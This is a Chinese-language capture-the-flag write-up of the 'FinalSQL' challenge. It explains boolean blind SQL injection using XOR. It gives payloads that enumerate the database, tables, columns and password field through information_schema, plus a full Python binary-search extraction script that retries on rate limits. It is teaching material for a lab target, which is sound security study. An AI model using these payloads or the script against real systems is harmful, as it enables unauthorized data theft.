当前位置: 首页 > news >正文

CTF题目 《FinalSQL》(极客大挑战 2019)WriteUp

一、题目背景与注入点定位

  1. 题目类型
    本题为 SQL盲注 题目,主要考察布尔盲注的利用能力。注入点位于 search.phpid 参数,而非登录框(check.php 的过滤较严格)。

  2. 页面响应特征

    • id=1-6 返回固定提示(如 id=3 显示 “Ohhh You find the flag read on!”,但并非真实 flag)。
    • id=7 或负数时返回 “ERROR”,id=1^1 等异或操作会触发错误回显,用于布尔盲注的条件判断。

二、核心解题思路

  1. 异或注入原理
    利用 ^(异或运算符)构造布尔条件:

    • 1^(条件)=0ERROR(条件为真,即1^1=0,即?id=0)。
    • 1^(条件)=1NO! Not this! Click others~~~页面(条件为假,即1^0=0,即?id=1)。
      通过页面回显差异判断条件是否成立。
  2. 注入流程
    步骤一:获取数据库名

    payload = "^(ascii(substr(database(),{},1))>{})".format(i,mid)
    # .format(i,mid)将变量 `i` 和 `mid` 的值动态插入到字符串的占位符 `{}` 中)
    # 结果为 'geek'
    

    步骤二:爆破表名

    payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{},1))>{})".format(i,mid)
    # 结果为 'F1naI1y,Flaaaaag'
    

    步骤三:获取列名

    • Flaaaaag 表列名为 id,fl4gawsl(无用信息)。
    • F1naI1y 表列名为 id,username,password(关键列)。
    payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),{},1))>{})".format(i,mid)
    # 结果为 'id,username,password'
    

    步骤四:爆破密码列

    payload = "^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})".format(i,mid)
    # 最终得到 flag 存储在 `id=9` 的 `password` 字段。
    

三、关键脚本与实现

二分法盲注脚本

使用 Python 的 requests 库结合二分法加速爆破过程,核心逻辑如下:

import requests  # 导入requests库用于发送HTTP请求
import time      # 导入time库处理请求频率限制

# 目标URL(漏洞点)
url = 'http://71a22f58-532f-42bd-ac43-bafe4fe96738.node5.buuoj.cn:81/search.php?id=1'
res = ''  # 存储最终爆破结果

# 遍历每个字符位置(假设字段长度不超过500)
for i in range(1, 500):
    # print('当前第',i,'轮:')

    # ascii码中可以显示的字符编码从起始值32(空格)开始到终止值126(~)
    left = 31    
    right = 127  
    mid = left + ((right - left) >> 1)  # 将数值除以 2 并向下取整,位运算优化二分中点计算,避免传统写法`mid = (left + right) // 2`计算(left + right)时超过整数最大值可能会导致溢出的问题,且位运算比除法更快
    
    # 二分查找当前字符的ASCII值
    while left < right:
        # -----------------------------------------------------------
        # 根据不同阶段注释切换payload(按需解除注释):
        # -----------------------------------------------------------
        # 1. 爆破数据库名
        # payload = "^(ascii(substr(database(),{},1))>{})".format(i,mid)
        
        # 2. 爆破表名(假设库名为geek)
        # payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{},1))>{})".format(i,mid)
        
        # 3. 爆破列名(假设表名为Flaaaaag)
        # payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='Flaaaaag'),{},1))>{})".format(i,mid)
        
        # 4. 当前正在爆破F1naI1y表的password字段(活跃payload)
        payload = "^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})".format(i,mid)
        # -----------------------------------------------------------

        # 发送带payload的请求
        r = requests.get(url = url + payload)
        
        # time.sleep(0.1)  # 方法一:每次都等待0.1秒
        # 方法二:处理429 Too Many Requests(请求频率限制)
        if r.status_code == 429:
            # print('请求过快!!!')
            time.sleep(2)                             # 等待2秒
            r = requests.get(url = url + payload)     # 重新请求

        # 布尔盲注判断:根据页面响应调整二分边界,注意一定不能让请求过快导致错误的回应报文跑到这里来否则会出现错误
        if 'Click' in r.text:  # 条件为假时
            right = mid        # 目标ASCII值小于等于mid  
        else:                  # 条件为真时
            left = mid + 1     # 目标ASCII值大于mid
            
        mid = left + ((right - left) >> 1)  # 更新中点


    # 终止条件:到达ASCII边界(说明字段已爆破完毕)
    if mid == 127 or mid == 31:
        print('最终结果:',res)              # 打印最终爆破结果
        break
    
    res += chr(mid)  # 将ASCII转为字符并追加到结果
    print(res)  # 打印当前爆破进度

四、知识点总结

  1. 布尔盲注技术

    • 依赖页面回显差异判断条件真伪,结合 asciisubstr 等函数逐字符爆破。
    • 异或运算简化条件构造,避免复杂语句被过滤。
  2. 信息获取流程

    • 通过 information_schema 获取数据库结构(表名、列名)。
    • 优先爆破关键表(如含 password 列的表)。
  3. 脚本优化

    • 二分法:显著减少请求次数,提升效率。
    • 异常处理:应对反爬机制(如请求限速)。

ascii()ord()

在SQL注入Payload中,ASCII()ORD()函数的功能高度相似,但能否直接替换需要结合具体数据库类型及字符编码环境来分析:

1. 功能对比
  • ASCII():仅返回字符串第一个字符的ASCII码值。例如,ASCII('hi')返回h的ASCII值104 。
  • ORD():在单字节字符(如英文字母、数字)场景下,功能与ASCII()完全一致;但若字符是多字节(如UTF-8编码的汉字)ORD()会计算多字节的联合值(例如ORD('简')返回15183488,涉及UTF-8编码规则)。
2. 替换可行性
  • 单字节字符场景:若目标字段(如password)仅包含单字节字符(如字母、数字),ASCII()ORD()可互换,例如ASCII('b')ORD('b')均返回98 。
  • 多字节字符场景:若字段包含中文或其他多字节字符,ORD()的返回值可能与ASCII()不同,可能导致盲注逻辑误判。例如,ASCII(SUBSTRING('简',1,1))可能返回首字节值,而ORD('简')返回完整编码值。
3. 数据库兼容性
  • MySQL:支持ASCII()ORD(),但需注意字符集(如UTF-8可能影响ORD()结果)。
  • 其他数据库:部分数据库(如SQL Server)仅支持ASCII(),而ORD()可能不存在或行为不同。
4. 替换建议
"(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})".format(i,mid)

若满足以下条件,可替换为ORD()

  1. 目标字段password仅含单字节字符
  2. 数据库为MySQL且未使用多字节编码
  3. 注入点对多字节编码不敏感

否则建议保留ASCII()以保证兼容性,或结合数据库字符集调整逻辑(如通过SUBSTRING截取单字节)。

相关文章:

  • idea接入 AI 编程助手:Copilot
  • KiLog2MaximumIncrement的由来和KiMaximumIncrementReciprocal的由来
  • 策略模式 vs. 工厂模式:对比与分析
  • 15:视图
  • T113-i开发板的休眠与RTC定时唤醒指南
  • git | 回退版本 并保存当前修改到stash,在进行整合。[git checkout | git stash 等方法 ]
  • 【安全运营】安全运营关于告警降噪的一些梳理
  • NO.55十六届蓝桥杯备战|排序|插入|选择|冒泡|堆|快速|归并(C++)
  • Linux-数据结构-双向链表与栈
  • Linux进程间通信方式
  • TypeScript教程
  • python爬虫可能遇到的小bug
  • 【RK3588嵌入式图形编程】-SDL2-渲染文本
  • CSS 文档流:元素排列的底层逻辑与布局控制
  • stm32-ADC
  • 明远智睿SD2351核心板:多接口融合,破解边缘计算难题
  • 关于强化学习小记
  • 玩转 SpringCloud - 快速构建分布式系统详解
  • 第十六届蓝桥杯康复训练--5
  • 排列与二进制
  • 习近平结束对俄罗斯国事访问并出席纪念苏联伟大卫国战争胜利80周年庆典回到北京
  • 竞彩湃|德甲欧冠资格竞争白热化,伯恩茅斯主场迎恶战
  • 新村回响:一周城市生活
  • 援藏博士张兴堂已任西藏农牧学院党委书记、副校长
  • 水利部:山西、陕西等地旱情将持续
  • 王日春已任教育部社会科学司司长,此前系人教社总编辑